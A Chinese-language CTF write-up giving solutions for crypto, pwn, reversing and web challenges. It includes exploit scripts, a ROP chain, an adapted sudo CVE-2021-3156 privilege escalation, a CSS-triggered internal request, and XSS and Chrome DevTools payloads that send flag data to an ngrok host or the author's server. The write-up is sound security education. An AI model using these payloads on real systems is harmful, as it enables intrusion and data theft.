期末考前自己參加了這個
CTF,整體難度算是偏低的,不過也有困難與很有趣的題目,最後居然得到了第四名。
Final Ranking
CRYPTO
[Baby] RSA
,然後可以發現 是完全平方數,直接開立方根即可。
1 2 3 4 5 6 7 from Crypto.Util.number import long_to_bytesfrom gmpy2 import irootn = 21240130069302595435883573568292543584653982426668643904196630885984119007899960150162877143271928662185885422702123670222165981446412189843665571992895649937195036232374014356896167929469467494531756153911013832353810970941919101050971790197002016280790620714887304192321101311465703150098410331176735899796484284165771555960758054286754565310439163189954842301676099617954811528874343372426916478057819577132937062857039063351856289801979923260408285890418889829381378968646646737194160697920287161229178345666260994127087040393511692642122516019055570881253021165130706539874713965212158253699181636631222365809257 c = 80505397907128518326368510654343095894448384569115420624567650731853204381479599216226376345254941090872832963619259274943986478887206647256170253591735005504 print (long_to_bytes(iroot(c, 3 )[0 ]))
[Baby] CRT RSA
一樣是 ,不過這次用了三個不同的 去加密,這個是 Håstad's broadcast
attack。
首先有:
可以用中國餘數定理算出 ,由於 ,因此 ,可知算出來的 為完全立方數,直接開立方根得到
flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 from Crypto.Util.number import *from gmpy2 import iroote = 3 n_1 = 18313667803478867336609004721464541537328973484305462826796382793855753159667702339443214415676107219128019719918729781240367765840170011546130583192904778311406642412055832301895834234050092458894891378245659415453668079516268277621821820816314253525389030994411875738859521385775378994318680298110895022910442167872459649446752807884859578440573460451717182770603357201261838877834565082113563029377616922987738400092690457439097525425733191455006127272117318175252557137776704423298751249687687982939242399995960217891670545776591917279437324424655966555374035972380565105603454122721599641307596329237684195317587 n_2 = 20194467459457647060586516996478370472351267218473917410062391619804366508155615598555934151439965040658239840971767337317396956926547783621869694734101324546348705982578129843495046800965472146299498824698092002656707267929600194580016819675385334043852783023251749457877096316831425135876783876607713235344100191162140401175616183217075255611260047339942560958156070307547443884997807476833178558920808584815204100121025788968550385803770908539890673979000205479656826535064665232908045866184941964720268186377486138453445647534884078844954199823059749774156922214595091852691529313493766002778666818883664405832403 n_3 = 28410407035821399633105602414308666083186296658943720122869492873011020714858272525924383333651592284428901214906611872460164447581815587883155804582069085992375163808745662275133491411336915996399762543519217523867565162464721135784726071214566835068379436095952306868321574023543552212709114558637219985795158790999008762464781584235742497782435874814916996914994622843458737648796476512273155699038887480170809464170867427859436811167822162365878701943537205202829629515767060354955288883378511576712085561459099352295975180411538002583505384685029771639657760193592641463091670959570110199839193007853012047792951 ct_1 = 4361068625491121585959284487341364298014917091167459186815285529598354735142456720602466259897053502006543584155650414108053083187715487460414552189153473176328972836654051104002438654670972840351138096724369732822616030793769716381154959736278166838792024300286881567007214354013293287163863182681969888796359513260199887574592768851482378233523702226160031879160962727499277063367162956148498154268271025542127905089334411348063974019724471911095717624141476012283069088544181538863919281957631181754200250370777952217187591480953121517810770662230820689692425877920149973485291740351240601042031554568416165653801 ct_2 = 7454119914503246454695225608366998910502362663575277057804461920278767763248677179908320434252341988720062910948247234833145541538721789767567216822524509307779250204983551429213791107932957166581434644890426988090302661172536864772938094552788386232242044947782405157429008368192073663951594129377676752306905041733416517122507652313240587554617250337508737466749142455332827859556080609592971327915921976414897414103328089640910405224692254001370474817181338600658683188149268215440111576616804026782469078580075278163035385301354208954742090806396419312598674668782737577467445931682124259183904307994197406247889 ct_3 = 475431757150415548038120878675026605258081422958849322189947529651864550511016854432752841608067858620795144603286556404827027829790131339932716728168413658428417455936312330389421287814427992302961543375036809563812960151703062899930161470602633031599828887098914730417799654684023064362771853376591221374617439483919394574339804160488928252982891682671342232959007865677713493662084854838321612782206385687329676060126776093320146302404930844788632687207893577657763961310494363939265885733023621969573701702862867184316968075660702024069750913111874157011920933780381567012981148057478008081618456449117864142394 x = crt([ct_1, ct_2, ct_3], [n_1, n_2, n_3]) print (long_to_bytes(iroot(x, 3 )[0 ]))
[Baby] Meadows
這題他會把 flag 的字元隨便在 之下乘 的隨機數次方,不過因為 seed
有固定所以就反過來做即可。
1 2 3 4 5 6 7 8 9 10 11 12 data = [] g, p = data[0 ] ar = data[1 :] import randomrandom.seed(0x1337 ) flag = [] for x in ar: flag.append((x * pow (g, -random.randrange(2 , p - 1 ), p)) % p) print (bytes (flag))
No Stone Left Unturned
這題是經典的 Fermat factorization
的利用,根據他的質數生成的部分可以看出 。
再來列出式子 ,由
可知 ,所以就直接暴力找
然後檢查 是否是完全平方數就能分解了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import gmpy2from Crypto.Util.number import *def fermat (x, mx=1000 ): a = gmpy2.isqrt(x) b2 = a * a - x cnt = 0 while not gmpy2.is_square(b2): a += 1 cnt += 1 if cnt == mx: return b2 = a * a - x b = gmpy2.isqrt(b2) return a, b n = 0xA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA93F56D1E890D1827D8AE8D40172A2DFAFAA73523DD318C608BD4169D702442E6D153AE0637766F635255F4C1EE6BC694589B2708AE9061FB84F9DB9DA7199996C519635DECFB53B4CCFDE2BF9E89F70DE9172BD370BE887E8E1009B278774EE2449CE3EA3B76428506B4A98BEDA6E3C9AABBF1164E088F27554282D7909EF2AE61FB5316E705E3EA72CBA9DF06AF06E54C3EE898DAB8ED245E26290F59FEEEC9F58E61C4A2051086234FE48B42399A74452B87829DA28F3E88A5A4B01B72D045B296297A3DA34B9A5C20CB e = 0x10001 c = 0x2D1F77201435E00D3355246CC4DE54B3C98A801F688500FF1E824D985F225F95415019188AF01C39C80393E648E5E51BAB80E1ABFDA82A74490FE58EF82AFDE4BED2999B10AC71F241F20564F5D2461CD57B50033C0FE64319B246AD241846B2AB37328F83D0A77FE5C3564CEC18DBC577FDACAD417925D208735D8B916779F567EF863DBA594D9D035C99E6210DB9397797C10E900A1D4A3BCE2F87502C23F2E909808C10AC675AFFB41B3E0769360C959289338CE2877813C723524718D84A75B2209BA4F3560FCBC82DA69D6B2F86C32970B325EC034A060FC62F6B3A97AE01CDFC8AEB35DF03D92AF88A7B60831254095FB66CE73B2C5941440721899DC1 a, b = fermat(n * 11 * 7 , mx=1000000 ) assert a ** 2 - b ** 2 == 11 * 7 * nprint ((a + b) % 7 )q = (a + b) // 7 p = n // q assert p * q == nd = pow (e, -1 , (p - 1 ) * (q - 1 )) m = pow (c, d, n) print (long_to_bytes(m))
Poison Prime
這題給你決定一個質數 作為
Diffie-Hellman 交換的質數,但是它會要求你輸入一個夠大的 整除 確保它不夠 smooth。再來它也沒給
public key,要算 discrete log 也不可能。它會用 shared secret 作為 AES
key 加密,然後要求你解密明文傳回去之後才能拿到
flag,而明文是部分已知的。
因為它沒給 public key,我直接把 shared secret 表示為 ,看看有沒有辦法找到恰當的質數 能讓 被限制在一個很小的 subgroup
之中來暴破,也就是說它的 order
很小。
這題的 ,所以可以用這個式子來想 ,所以可推得 。假設
會發現到這個是個很熟悉的一個形式,叫 Mersenne
prime ,所以就在裡面查表找到適當大小的 即可。
例如我用的是 ,所以代表 的 order 是 ,自然代表 的 order 也是 。至於 用 factordb 看看
最大的質因數夠不夠大,也就能找到
了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from Crypto.Util.number import long_to_bytesfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadfrom hashlib import sha1p = 2 ** 607 - 1 q = (4 ** 101 + 2 ** 101 + 1 ) // 4249 assert (p - 1 ) % q == 0 keys = [] for i in range (607 ): keys.append(sha1(long_to_bytes(pow (8 , i, p))).digest()[:16 ]) io = remote("35.224.135.84" , 4000 ) io.sendlineafter(b"Please help them choose p: " , str (p)) io.sendlineafter( b"To prove your p isn't backdoored, give me a large prime factor of (p - 1):" , str (q), ) io.recvuntil(b"encrypted message: " ) ct = bytes .fromhex(io.recvlineS().strip()) for key in keys: pt = AES.new(key, AES.MODE_ECB).decrypt(ct) if pt.startswith(b"My favorite food is " ): io.sendlineafter(b"Decrypt it and I'll give you the flag: " , unpad(pt, 16 )) break print (io.recvallS())
MISC
nana 1.0
直接在 core.3685280
上面用 strings + grep 就有 flag
了。
angrbox
這題的目標是要提供一個 C 程式給它編譯,程式需要從
argv[1]
拿四個字元做 key checking 的動作。對方會用一個使用
angr 的 script 試著去破解 key,如果能撐過兩分鐘不被破解就能得到
flag。
我的方法是找一個別人寫好的 brainfuck interpreter 來亂改,讓它 angr 的
symbolic execution 複雜度大幅增加。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define MEMORYCELLS 1000 #define CODESIZE 1000 struct Machine { char memory[MEMORYCELLS]; char *pointer; }; void initializeMachine (struct Machine *a) { int i; a->pointer = &(a->memory[0 ]); for (i = 0 ; i < MEMORYCELLS; i++) a->memory[i] = 0 ; } char translate (char in) { switch (in) { case '>' : return 1 ; case '<' : return 2 ; case '+' : return 3 ; case '-' : return 4 ; case '.' : return 5 ; case ',' : return 6 ; case '[' : return 7 ; case ']' : return 8 ; } return in; } void execute (struct Machine *a, char *code, char *input) { long i = 0 ; while (1 ) { switch (translate (*code)) { case 0 : return ; break ; case 1 : a->pointer++; break ; case 2 : a->pointer--; break ; case 3 : (*(a->pointer))++; break ; case 4 : (*(a->pointer))--; break ; case 5 : break ; case 6 : *(a->pointer) = input[i++]; break ; case 7 : { if (*(a->pointer) == 0 ) while (*code != ']' ) code++; } break ; case 8 : { if (*(a->pointer) != 0 ) while (*code != '[' ) code--; } break ; } code++; for (int j = 0 ; j < 1000000 ; j++) { if (i >= 4 ) { i *= (long )code; } } } } int main (int argc, char **argv) { struct Machine a; char codeinmemory[CODESIZE]; char code[] = ",>,>,>,<<<----------------------------------------------------------------->------------------------------------------------------------------>------------------------------------------------------------------->--------------------------------------------------------------------" ; initializeMachine (&a); execute (&a, code, argv[1 ]); for (int i = 0 ; i < 4 ; i++) { if (a.memory[i] != 0 ) { return 1 ; } } return 0 ; }
Double
這題有一個 memory dump dump.mem
和一個
Ubuntu_5.4.0-62-generic_profile.zip
,Google
了和後者相關的檔名之後可以找到這篇: getdents 。
從裡面知道了 dump.mem
是個從 VMWare dump 出來的 memory
dump,可以透過安裝一個軟體 volatility
來進行分析。
先找出 bash 的紀錄:
1 2 3 4 5 6 7 8 9 10 11 12 > volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_bash Volatility Foundation Volatility Framework 2.6 Pid Name Command Time Command -------- -------------------- ------------------------------ ------- 1250 bash 2021-04-13 06:13:11 UTC+0000 sudo apt-get install virtualbox-guest-x11 curlthon3 python3-pip 1250 bash 2021-04-13 06:13:11 UTC+0000 vi .Xmodmap 1250 bash 2021-04-13 06:13:11 UTC+0000 xmodmap .Xmodmap 1250 bash 2021-04-13 06:13:15 UTC+0000 sudo curl https://get.docker.com/ | bash 1250 bash 2021-04-13 06:14:50 UTC+0000 sudo -s 1250 bash 2021-04-13 06:14:50 UTC+0000 ???????? 1250 bash 2021-04-13 06:14:50 UTC+0000 11561 bash 2021-04-13 06:15:01 UTC+0000 docker run -it alpine:3.7 /bin/sh
從這裡能知道說它把東西跑在一個 alpine container 中的 shell
之中,再來試著把 docker 相關的檔案找出來:
1 2 3 4 5 > volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_enumerate_files | grep docker Volatility Foundation Volatility Framework 2.6 ... 0xffffa0f6fadd78c8 289058 /var/lib/docker/overlay2/0302e6c324b486a627e0243c020d8a7d5edd1eab9f186af5d0f6a83b5b82c989/diff/secret.txt ...
裡面能看到說有關於 secret.txt
的檔案存在,試著使用了
linux_find_file
匯出檔案來,但是不知為何還是失敗了。這個時候我試了另一個方法,用 strings
+ grep:
1 2 3 4 5 6 7 > strings dump.mem | grep secret.txt -C 5 ... secret.txt C C C { d0 c 0 c k 3 r _ in n _ a _ V M } ...
仔細檢查就能發現有像是上面的訊息出現,明顯是
flag,不過有些字元重複了,我再用 python 去把它輸出出來即可:
1 2 3 4 with open ("dump.mem" , "rb" ) as f: dump = f.read() i = dump.index(b"C C C" ) print (dump[i : i + 40 ])
Discord Bot Dev 1
這題首先用根據 hint 中給的作者本名用點搜尋技巧找到一個 discord bot 的
repository,在 Google 上面搜尋
"Nathan Peercy" site:github.com
可以找到一個頁面,裡面能看到一個 GitHub Organization,從裡面的 repo 的
commit history 可以找到作者的 GitHub 帳號,裡面就有 Bot 的 repo: nbanmp/ccc-discord-bot-dev 。Discord
server 的連結可以從 commit history 之中找到:
https://discord.gg/UPvvXtX8Z6。
從 source code 中會知道 flag1 會每 15 分鐘在 channel
flag-deletion-test
出現,但是它還有個
on_message
會自動偵測 flag format
把它刪除。這部分我的做法是用 Discord 的 Console 去輸入點 JavaScript
自動去把該 channel 的最新訊息強制留下來,這樣就能看到 flag1
了。另一個後來發現的做法是利用 Discord Android app
的通知,它發送到刪除的時間雖然很短,但是 app
的通知會暫存一小段時間,抓好時間把通知截圖下來即可。
Discord Bot Dev 2
flag2 的部份需要想辦法觸發一個 handle_debug
函數才行,方法是要有個在該 server 擁有 admin 權限的人發送
sudo debug aaaaaaaa
之類的訊息,然後它就會把
aaaaaaaa
和 flag2 xor 的結果傳回去到訊息來源的頻道。
這邊可以利用它的一個 remindme
功能,這只能透過直接 DM
觸發,格式為
remind time [message] [channel_id]
,有中括號的部分是可選的,會讓
Bot 自身在指定時間於 channel_id
發送訊息
message
。測試一下可以注意到它確實有辦法把
channel_id
設成 server 中的 channel 的
id,但是它有個檢測會檢查說如果該 channel 是屬於原本那個 server
(852786013934714890
) 的話訊息就會被替換成
someone attempted to send a reminder here
。
這邊的關鍵是先自建一個新的 Discord server,然後參考 Discord
官方的開發者教學生成一個 oauth2 的 url (要有適當的權限),然後把
client_id
的部份改成 Bot 的 id:
1 https://discord.com/oauth2/authorize?scope=bot&permissions=388160&client_id=852787071298830336
然後進入那個網址之後就能邀請 Bot 到你的 server 去,所以再 DM 適當的
remindme
指令給 Bot,然後他就會在指定時間發送
sudo debug aaaa...
到你的 server 的指定
channel。然後因為發送者就是 Bot,能經過它的權限檢查觸發
handle_debug
,然後又會在同個頻道發送 xor 之後的 flag2。
範例指令:
1 remindme 2021/06/13 12:05 UTC+8 sudo debug aaaaaaaaaaaaaaaaaaaaaaaaa 123456789123456789
PS: 要注意的是 sudo debug aaaa...
後面的字元數量,因為從
code 可以知道如果它的長度超過 flag 的話會有 error,就不會拿到 flag
了,所以 flag 的長度需要自己一個一個暴力測試才行
OSINT
[Baby] Building Locator
因為題意說明不清,出題者直接在 Discord 的公告就給了 flag 了,是台北
101 的官網。
Happy Little Osint
我用了這個網站 去找到了對應的帳號
@happy_lil_con ,從追隨者中找到 @con_angry ,在自介的地方就有 flag
了。
PWN
[Baby] Fawn CDN
這題只要能讓它 call 到 win
函數即可,直接用 overflow 把
struct 中的 function pointer 蓋掉之後讓它 call 就成功了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p = remote("35.224.135.84" , 1001 ) p.sendlineafter(b"cmd> " , "1" ) p.recvuntil(b"content at " ) addr = int (p.recvuntilS(b'"' )[:-1 ], 16 ) print (hex (addr))p.sendlineafter(b"cmd> " , b"a" * 16 + p64(addr)) p.recvuntil(b"cmd> " ) p.sendline("3" ) p.recvuntil(b"cmd>" ) img = p.recvuntil(b"\n1." )[1 :-3 ] print (img)with open ("flag.jfif" , "wb" ) as f: f.write(img)
Weird Rop
這題的程式很小,沒有 RWX 的區段能寫 shellcode, vuln
函數會 open /flag.txt
,然後 write 兩個 byte 之後用 read
讀超過範圍的 bytes,有個很明顯的 buffer overflow。
用 ROPgadget 找一下可以發現沒有能任意改 rax 的 gadget,只有
mov rax, 1; ret
和 mov rax, 0; ret
,所以
syscall 只能使用 read 和 write 而已。rdi 的部分找不到
pop rdi; ret
的 gadget,但有很多的
xor rdi, SOME_CONSTANT
能用。剩下的部分還有
pop rsi; ret
和 pop rdx; ret
的 gadget。
我的作法是想用 read 去讀 open 出來的 file descriptor,之後再 write
出來即可。不過這邊有個困難點是 fd 的值是 rdi,它 xor
的部份沒有很小的值能讓你直接利用,一個作法可能是用多個 xor 去 xor
出需要的 fd,不過我的方法是先讓它 ret 到 vuln
函數的開頭再
open 一次,反覆這樣幾十次之後根據 open 出來的 fd
是遞增的性質就能找一個最小的 xor 來使用即可。
ROP chain 直接看 code 比較好懂:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.arch = "amd64" io = remote("35.224.135.84" , 1000 ) vuln = 0x4010E0 for _ in range (30 ): io.recv(2 ) io.sendline(b"a" * 24 + p64(vuln)) buf = 0x402500 syscall_add_rsp_0x10 = 0x401145 xor_rdi_29 = 0x401089 pop_rsi = 0x401000 pop_rdx = 0x4010DE mov_rax_0 = 0x401002 mov_rax_1 = 0x40100A mov_rdi_1 = 0x401012 read_chain = flat( [ xor_rdi_29, pop_rsi, buf, pop_rdx, 100 , mov_rax_0, syscall_add_rsp_0x10, 0 , 0 , 0 , vuln, ] ) io.recv(2 ) io.sendline(b"a" * 24 + read_chain) write_chain = flat( [ mov_rdi_1, pop_rsi, buf, pop_rdx, 100 , mov_rax_1, syscall_add_rsp_0x10, ] ) io.recv(2 ) io.sendline(b"a" * 24 + write_chain) print (io.recvlineS().strip())
Lord Saturday
這題給你了一個普通 user 的 shell,可以直接 ssh 過去使用,而它安裝了
sudo 的 1.8.31 版本,目標是要得到 root 權限。
查詢一下 sudo 的版本可以知道有 CVE-2021-3156 的,找一下可以找到這個
POC
來使用,不過直接按照它的方法 compile 再放到 container
裡面執行是行不通的。再看一下 Dockerfile
會發現到它把
sudoedit 給刪除了,但是從文章 中會知道它利用的是
sudoedit 的 bug。
其實再仔細看一下文章會發現 sudoedit 只是 sudo 的一個 symlink,它是靠
argv[0]
去判斷目前是以 sudo 還是 sudoedit
執行的,而這部分能靠 execve 很容易的繞過,所以就修改 POC 中的
exploit.c
最後面用 execve 的地方,把
/usr/bin/sudoedit
改成 /usr/bin/sudo
後再編譯一次即可成功。
傳送檔案的部分不知道為什麼 scp 沒用,不過就自己手動用 base64 把
binary 貼上傳過去執行就成功得到 root 了。
worm / worm 2
這題它會遞迴建立一堆資料夾構成像是 binary tree
的狀況,然後每層的資料夾的 user
帳號都不同,不過每個非葉節點的資料夾都會有個 ./key
能透過
buffer overflow 通過密碼檢測用 setuid
setgid
切換權限執行 /bin/bash
。而 flag
會放在任意一個葉節點之上。連線之後用 hashcash 算一下 PoW
之後會幫你開新的 container,之後可以輸入 512 以內的 shell 指令以
/bin/sh
幫你執行。
worm 是出題者稍微出錯的地方,它允許了 stdin,所以可以直接輸入 bash
進入 interactive 的模式去解。而 worm 2 就把 stdin 關掉了,讓你要在一行
shell 指令內把它解掉。
方法也很簡單,dfs 去找而已,但是比較麻煩的就是還要把要遞迴執行的指令
pipe 到 ./key
中才行。
沒有壓縮的版本大概如下:
1 2 3 4 5 6 export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rdcd /room0gen () { [[ -f ./key ]] && (echo $P && echo "$(declare -f gen) ;for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done" ) | ./key; } gen | grep CCC
之後可以壓成一行:
1 export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rd;cd /room0;gen () { [[ -f ./key ]] && (echo $P && echo "$(declare -f gen) ;for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done" ) | ./key; };gen|grep CCC
再來因為要在 /bin/sh
中執行,先用 base64 當作 escape
之後再 pipe 到 bash 中即可:
1 echo ZXhwb3J0IFA9YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFwNHNzdzByZDtjZCAvcm9vbTA7Z2VuKCkgeyBbWyAtZiAuL2tleSBdXSAmJiAoZWNobyAkUCAmJiBlY2hvICIkKGRlY2xhcmUgLWYgZ2VuKTtmb3IgeCBpbiBcJChsc3xncmVwIF5yKTtkbyAoY2QgXCR4ICYmIChjYXQgZmxhZy50eHQgMj4vZGV2L251bGwgfHwgZ2VuKSkgZG9uZSIpIHwgLi9rZXk7IH07Z2VufGdyZXAgQ0ND | base64 -d | bash
REV
IDA 打開就看到 flag 了。
[Baby] Guardian
輸入 flag,它會顯示正確的 prefix 數量,所以寫個腳本爆開即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import stringfrom pwn import remote, contextcontext.log_level = "error" def guess (pwd ): r = remote("35.224.135.84" , 2000 ) r.recvuntil(b"password?\n> " ) r.sendline(pwd) x = r.recvuntil(b"guardian" ).decode() ans = x.count("✅" ) r.close() return ans chs = "_!?" + string.digits + string.ascii_lowercase flag = "CCC{" while True : for c in chs: if guess(flag + c) > len (flag): flag = flag + c break else : print (flag + "}" ) break print (flag)
Lonk
直接執行 flag.py
就會出現 flag
的一部份,但是因為它跑很慢所以後面的字元都出不來。讀 lib.py
之後可以看出它是使用 linked list 去表示數字並做一些運算,讀懂之後把它
patch 掉改成使用正常的數字去運算即可:
patched_lib.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 def 非 (a ): return a def 常 (a ): return a def 需 (a ): return a def 要 (a, b ): return a + b def 放 (a, b ): return a - b def 屁 (a, b ): return a * b def 然 (a, b ): return a % b def 後 (a, b ): return a ** b def 睡 (a, b, m ): return pow (a, b, m) def 覺 (n ): print (chr (常(n)), end="" , flush=True )
然後把 flag.py
的 import 改掉就能 print 出 flag 了。
Little Mountain
丟進 IDA 中可以看到它有個 function table,進 gdb 會發現 table
裡面有四個函數 a b c d,但顯示的 menu 只有三個。用 IDA 看 d
函數就能發現它的 flag 只是簡單的 xor 的結果,自己把需要的 data export
出來 xor 即可。
另一個方法是 gdb 對 d 下斷點,menu 的地方輸入不存在的第三個選項進入
d,然後一直 ni
到它有個 jne
的地方輸入
j *(d+78)
繞過比對即可。
WEB
Casino
有一個 Discord bot,需要得到超過 $1000 才能拿到 flag。從 source code
看的出來正規方法沒有辦法得到超過 , 不 過 它 有 個 特 別 的 badge` 指令是會用
puppeteer 去造訪網站截圖產生 badge 的。
可以看到 $badge
指令支援自己加入
css,而它有個設置金錢數量的 endpoint 是用 GET
的,不過那限制內網才能訪問。
這邊就自己插入 css 用 url()
去讓 bot
對內網的那個網站發出 request,然後就能設置金錢數量了:
1 $badge body{background:url("/set_balance?user=maple3142%238585&balance=8763");}
imgfiltrate
這題有個很簡單能 XSS 的弱點在,雖然有 CSP 但 nonce
也給了所以不是問題。困難點在於 flag 是個圖片,而它的 CSP
也限制了你不能用 fetch
去取得圖片再 base64 encode
傳送過來。
解決辦法也很簡單,直接利用現有的 img 元素就夠了,因為 canvas
有支援直接把圖片畫到裡面的功能,之後再用 canvas 取得 base64
就成功了,網路上有很多這樣的範例。
Payload:
1 http://35.224.135.84:3200/?name=%3Cscript%20nonce=70861e83ad7f1863b3020799df93e450%3Efunction%20getBase64Image(e){var%20a=document.createElement(%22canvas%22);return%20a.width=e.width,a.height=e.height,a.getContext(%222d%22).drawImage(e,0,0),a.toDataURL(%22image/png%22).replace(/^data:image\/(png|jpg);base64,/,%22%22)};flag.onload=()=%3E{location=%27https://52dbd34bb4a0.ngrok.io?data=%27%2BencodeURIComponent(getBase64Image(flag))}%3C/script%3E
這題因為 url 太長(圖片的 base64)的緣故,沒辦法使用
https://webhook.site/ ==
Puppet
這題只有一個 Puppeteer 的 bot 讓你用,可以看到他的啟動選項有
--disable-web-security
和
--remote-debugging-port=5000
,而 flag 還是放在
~/Documents
中的其中一個未知名稱的檔案中,所以目標很明顯就是要用 Chrome
DevTools Protocol 打 Puppeteer。
解法和之前解 Watered
Down Watermark as a Service 這題很像,直接讀 file:
protocol 的頁面內容即可。
有個比較麻煩的地方是它每次都是一個新的 instance,所以連 flag
檔名都會變,所以需要一次讓它做完列出目錄內容以及讀檔的工作才行。
把下面這個 index.html
放到一個 server 的根目錄,然後把該
server 的公開網址直接 submit 過去即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <pre id ="log" > </pre > <script > const base = location.href .split ('?' )[0 ] const u = new URLSearchParams (location.search ) function log (tag, msg ) { const ct = `${tag} : ${msg} \n` log.textContent += ct fetch (`${base} report.php` , { method : 'POST' , body : ct }) } const filepath = u.get ('path' ) || '/home/inmate/Documents/' fetch (`http://localhost:5000/json/new?file://${filepath} ` ) .then (r => r.json ()) .then (d => { const j = JSON .stringify (d, null , 2 ) log ('json' , j) const ws = new WebSocket (d.webSocketDebuggerUrl ) ws.onmessage = e => { log ('ws.onmessage' , e.data ) } ws.onopen = () => { setTimeout (() => { ws.send ( JSON .stringify ({ id : 8763 , method : 'Runtime.evaluate' , params : { expression : ` const m = document.documentElement.innerHTML.match(/flag_.*?txt/) if(m) { location.href = '${base} ?path=' + encodeURIComponent('${filepath} ' + m[0]) } fetch('${base} report.php', { method:'POST', body: document.documentElement.innerHTML }) ` } }) ) }, 5000 ) } }) </script >
如果有用 ngrok 的話它可以很方便的直接檢視 request
內容,沒有的話可以用下面這個 report.php
把 POST body
輸出:
1 2 <?php error_log (file_get_contents ('php://input' ), 0 );
Sticky Notes
這題我認為是個相當困難的題目,需要用到的核心概念和 PlaidCTF 2021
的題目 Carmen
Sandiego 相同。
flag 的內容也清楚的告訴我們這題的 idea 就是來自那題的
此題目標也是 XSS,網站上可以創建 board
然後新增最多九個文字內容,文字內容都是放在 iframe 裡面以
Content-Type: text/plain
提供的。
web 的部份有兩個 server,一個是使用 fastapi 寫的
boards.py
作為前端存在,另一個是直接利用 socket 寫的
notes.py
,作為後端提供 iframe 裡面的內容。
boards.py
本身沒什麼漏洞能用,只是處裡創建 board
和把傳送的文字寫到資料庫 (file system) 的功能而已。
題目的關鍵在於 notes.py
的幾個地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 header_template = """HTTP/1.1 {status_code} OK\r Date: {date}\r Content-Length: {content_length}\r Connection: keep-alive\r Content-Type: text/plain; charset="utf-8"\r \r """ def http_header (s: str , status_code: int ): return header_template.format ( status_code=status_code, date=formatdate(timeval=None , localtime=False , usegmt=True ), content_length=len (s), ).encode() def iter_chunks (xs, n=1448 ): """Yield successive n-sized chunks from xs""" for i in range (0 , len (xs), n): yield xs[i : i + n] class TcpHandler (StreamRequestHandler ): def send_file (self, filepath ): if not filepath.is_file(): self.send_404() return content = open (filepath, "rb" ).read() self.wfile.write(http_header(content.decode(), 200 )) for chunk in iter_chunks(content): self.wfile.write(chunk) time.sleep(0.1 )
從這邊可以看到 send_file
函數裡面的 content
是 bytes
類型,所以它的 content_length
會是那串 bytes 轉為 str
(UTF-8)
的長度。然而它實際傳送出去的資料長度卻是 bytes 數量。
例如 UTF-8 字元 À
在 str
類型的長度為
1,但是它的 bytes
長度為 2,這個就是能利用的關鍵。
這題的另一個關鍵在於它有
Connection: keep-alive
,這會使瀏覽器會試著把多個 HTTP
request 放在同次連線之中,不會再新開
socket。這樣題目的解法也很明顯了,就是要用它的長度的 bug 去偽造出假的
HTTP response 達成 XSS。
例如字串
"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 5\r\n\r\n5"
的長度為 64,在前面接上 64 個 À
之後的 UTF-8 總長度為
128,但是 bytes 數量為 192。因為 server 給的 Content-Length
將會是 UTF-8 的長度 128,也就代表第一個 response body 正好是 64 個
À
字元結束,而後面的資料就會是
HTTP/1.1 200 OK...
了。
不過這實際上沒那麼簡單,第一個難點是怎麼確保讓 Chrome 重複使用同個
socket,第二個點是 Chrome 如果在下一個 request
發送前就收到多餘資料的話就會把該 socket 斷掉。
第一個點可以利用 Chrome 對一個 domain 最多同時只會開 6
個連線的性質,結合 send_file
裡面的
time.sleep(0.1)
。把 iframe0 裡面放入前面的 payload,然後
iframe1~iframe5 裡面放入大量的資料讓連線卡住,之後 iframe6
的內容隨便放就能成功了。因為 iframe1~iframe5 卡住的時候,iframe0
結束了,自然就要載入 iframe6,所以 Chrome 就會自動重複使用剛剛載入
iframe0 的連線,然後就會收到假的 HTTP response 了。
第二個點是利用 iter_chunks
會把資料分成 1448 bytes 的
chunks 的性質。1448 bytes 是 tcp packet 的大小上限,如果讓
ÀÀÀÀÀ....
對齊 packet 大小,然後它會等 0.1 秒才會再發送
HTTP/1.1 200 OK...
的資料,這 0.1 秒就足以讓 Chrome
結束載入 iframe0 然後發出 iframe6 的 request 了。
下面是完整的 exploit 腳本,會自動創建需要的 board 並 submit 給 bot
做檢查:
